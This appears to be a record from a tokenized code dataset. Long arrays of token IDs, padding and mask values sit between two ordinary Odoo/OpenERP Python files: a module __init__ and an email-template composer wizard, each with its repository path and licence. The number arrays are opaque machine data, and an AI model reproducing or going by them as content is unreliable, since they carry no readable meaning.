39, 778, 23823, 367, 202, 199, 3, 5543, 26382, 701, 491, 643, 82, 621, 5653, 7255, 1330, 10410, 334, 5443, 906, 9, 11736, 315, 202, 199, 3, 22261, 20059, 436, 3107, 10084, 22452, 8810, 334, 15135, 680, 202, 199, 3, 710, 18140, 28891, 18581, 402, 282, 2288, 13712, 12981, 626, 1937, 6080, 202, 199, 3, 737, 18790, 9147, 282, 7918, 805, 3382, 314, 9628, 1071, 68, 436, 314, 3659, 1834, 14, 2999, 199, 1618, 674, 63, 765, 275, 25134, 14, 362, 63, 765, 480, 54, 775, 531, 202, 199, 54, 18, 275, 402, 674, 63, 765, 8, 50, 1988, 19, 11941, 13785, 520, 566, 2999, 199, 3, 14794, 314, 25134, 901, 202, 199, 2798, 63, 657, 6237, 63, 698, 8, 50, 3131, 2312, 22971, 29, 2343, 12, 2538, 628, 54, 775, 531, 202, 199, 783, 422, 8, 54, 18, 12, 2312, 22971, 29, 2343, 12, 3650, 29, 821, 9, 202, 199, 6003, 14, 2384, 342, 2999, 199, 13289, 202, 199, 3, 21907, 436, 1503, 22430, 660, 4460, 15161, 402, 410, 269, 706, 334, 36, 2294, 51, 9, 202, 199, 3, 9527, 9858, 202, 199, 3, 202, 199, 3, 577, 2294, 51, 4440, 282, 28397, 18140, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
blaggacao/odoo
addons/stock_invoice_directly/__init__.py
374
1085
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import stock_invoice_directly # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 258, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 420, 199, 3, 199, 4605, 199, 199, 646, 10952, 63, 5404, 63, 2275, 590, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 258, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 420, 199, 3, 199, 4605, 199, 199, 646, 10952, 63, 5404, 63, 2275, 590, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
eino-makitalo/odoo
addons/email_template/wizard/mail_compose_message.py
197
11797
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2010-Today OpenERP SA (<http://www.openerp.com>) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/> # ############################################################################## from openerp import tools from openerp.osv import osv, fields def _reopen(self, res_id, model): return {'type': 'ir.actions.act_window', 'view_mode': 'form', 'view_type': 'form', 'res_id': res_id, 'res_model': self._name, 'target': 'new', # save original model in context, because selecting the list of available # templates requires a model in context 'context': { 'default_model': model, }, } class mail_compose_message(osv.TransientModel): _inherit = 'mail.compose.message' def default_get(self, cr, uid, fields, context=None): """ Override to pre-fill the data when having a template in single-email mode and not going through the view: the on_change is not called in that case. """ if context is None: context = {} res = super(mail_compose_message, self).default_get(cr, uid, fields, context=context) if res.get('composition_mode') != 'mass_mail' and context.get('default_template_id') and res.get('model') and res.get('res_id'): res.update( self.onchange_template_id( cr, uid, [], context['default_template_id'], res.get('composition_mode'), res.get('model'), res.get('res_id'), context=context )['value'] ) if fields is not None: [res.pop(field, None) for field in res.keys() if field not in fields] return res _columns = { 'template_id': fields.many2one('email.template', 'Use template', select=True), } def send_mail(self, cr, uid, ids, context=None): """ Override of send_mail to duplicate attachments linked to the email.template. Indeed, basic mail.compose.message wizard duplicates attachments in mass mailing mode. But in 'single post' mode, attachments of an email template also have to be duplicated to avoid changing their ownership. """ if context is None: context = {} wizard_context = dict(context) for wizard in self.browse(cr, uid, ids, context=context): if wizard.template_id: wizard_context['mail_notify_user_signature'] = False # template user_signature is added when generating body_html wizard_context['mail_auto_delete'] = wizard.template_id.auto_delete # mass mailing: use template auto_delete value -> note, for emails mass mailing only wizard_context['mail_server_id'] = wizard.template_id.mail_server_id.id if not wizard.attachment_ids or wizard.composition_mode == 'mass_mail' or not wizard.template_id: continue new_attachment_ids = [] for attachment in wizard.attachment_ids: if attachment in wizard.template_id.attachment_ids: new_attachment_ids.append(self.pool.get('ir.attachment').copy(cr, uid, attachment.id, {'res_model': 'mail.compose.message', 'res_id': wizard.id}, context=context)) else: new_attachment_ids.append(attachment.id) self.write(cr, uid, wizard.id, {'attachment_ids': [(6, 0, new_attachment_ids)]}, context=context) return super(mail_compose_message, self).send_mail(cr, uid, ids, context=wizard_context) def onchange_template_id(self, cr, uid, ids, template_id, composition_mode, model, res_id, context=None): """ - mass_mailing: we cannot render, so return the template values - normal mode: return rendered values """ if template_id and composition_mode == 'mass_mail': fields = ['subject', 'body_html', 'email_from', 'reply_to', 'mail_server_id'] template = self.pool['email.template'].browse(cr, uid, template_id, context=context) values = dict((field, getattr(template, field)) for field in fields if getattr(template, field)) if template.attachment_ids: values['attachment_ids'] = [att.id for att in template.attachment_ids] if template.mail_server_id: values['mail_server_id'] = template.mail_server_id.id if template.user_signature and 'body_html' in values: signature = self.pool.get('res.users').browse(cr, uid, uid, context).signature values['body_html'] = tools.append_content_to_html(values['body_html'], signature, plaintext=False) elif template_id: values = self.generate_email_for_composer_batch(cr, uid, template_id, [res_id], context=context)[res_id] # transform attachments into attachment_ids; not attached to the document because this will # be done further in the posting process, allowing to clean database if email not send ir_attach_obj = self.pool.get('ir.attachment') for attach_fname, attach_datas in values.pop('attachments', []): data_attach = { 'name': attach_fname, 'datas': attach_datas, 'datas_fname': attach_fname, 'res_model': 'mail.compose.message', 'res_id': 0, 'type': 'binary', # override default_type from context, possibly meant for another model! } values.setdefault('attachment_ids', list()).append(ir_attach_obj.create(cr, uid, data_attach, context=context)) else: default_context = dict(context, default_composition_mode=composition_mode, default_model=model, default_res_id=res_id) default_values = self.default_get(cr, uid, ['composition_mode', 'model', 'res_id', 'parent_id', 'partner_ids', 'subject', 'body', 'email_from', 'reply_to', 'attachment_ids', 'mail_server_id'], context=default_context) values = dict((key, default_values[key]) for key in ['subject', 'body', 'partner_ids', 'email_from', 'reply_to', 'attachment_ids', 'mail_server_id'] if key in default_values) if values.get('body_html'): values['body'] = values.pop('body_html') return {'value': values} def save_as_template(self, cr, uid, ids, context=None): """ hit save as template button: current form value will be a new template attached to the current document. """ email_template = self.pool.get('email.template') ir_model_pool = self.pool.get('ir.model') for record in self.browse(cr, uid, ids, context=context): model_ids = ir_model_pool.search(cr, uid, [('model', '=', record.model or 'mail.message')], context=context) model_id = model_ids and model_ids[0] or False model_name = '' if model_id: model_name = ir_model_pool.browse(cr, uid, model_id, context=context).name template_name = "%s: %s" % (model_name, tools.ustr(record.subject)) values = { 'name': template_name, 'subject': record.subject or False, 'body_html': record.body or False, 'model_id': model_id or False, 'attachment_ids': [(6, 0, [att.id for att in record.attachment_ids])], } template_id = email_template.create(cr, uid, values, context=context) # generate the saved template template_values = record.onchange_template_id(template_id, record.composition_mode, record.model, record.res_id)['value'] template_values['template_id'] = template_id record.write(template_values) return _reopen(self, record.id, record.model) #------------------------------------------------------ # Wizard validation and send #------------------------------------------------------ def generate_email_for_composer_batch(self, cr, uid, template_id, res_ids, context=None, fields=None): """ Call email_template.generate_email(), get fields relevant for mail.compose.message, transform email_cc and email_to into partner_ids """ if context is None: context = {} if fields is None: fields = ['subject', 'body_html', 'email_from', 'email_to', 'partner_to', 'email_cc', 'reply_to', 'attachment_ids', 'mail_server_id'] returned_fields = fields + ['partner_ids', 'attachments'] values = dict.fromkeys(res_ids, False) ctx = dict(context, tpl_partners_only=True) template_values = self.pool.get('email.template').generate_email_batch(cr, uid, template_id, res_ids, fields=fields, context=ctx) for res_id in res_ids: res_id_values = dict((field, template_values[res_id][field]) for field in returned_fields if template_values[res_id].get(field)) res_id_values['body'] = res_id_values.pop('body_html', '') values[res_id] = res_id_values return values def render_message_batch(self, cr, uid, wizard, res_ids, context=None): """ Override to handle templates. """ # generate composer values composer_values = super(mail_compose_message, self).render_message_batch(cr, uid, wizard, res_ids, context) # generate template-based values if wizard.template_id: template_values = self.generate_email_for_composer_batch( cr, uid, wizard.template_id.id, res_ids, fields=['email_to', 'partner_to', 'email_cc', 'attachment_ids', 'mail_server_id'], context=context) else: template_values = {} for res_id in res_ids: if template_values.get(res_id): # recipients are managed by the template composer_values[res_id].pop('partner_ids') composer_values[res_id].pop('email_to') composer_values[res_id].pop('email_cc') # remove attachments from template values as they should not be rendered template_values[res_id].pop('attachment_ids', None) else: template_values[res_id] = dict() # update template values by composer values template_values[res_id].update(composer_values[res_id]) return template_values def render_template_batch(self, cr, uid, template, model, res_ids, context=None, post_process=False): return self.pool.get('email.template').render_template_batch(cr, uid, template, model, res_ids, context=context, post_process=post_process) # Compatibility methods def generate_email_for_composer(self, cr, uid, template_id, res_id, context=None): return self.generate_email_for_composer_batch(cr, uid, template_id, [res_id], context)[res_id] # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
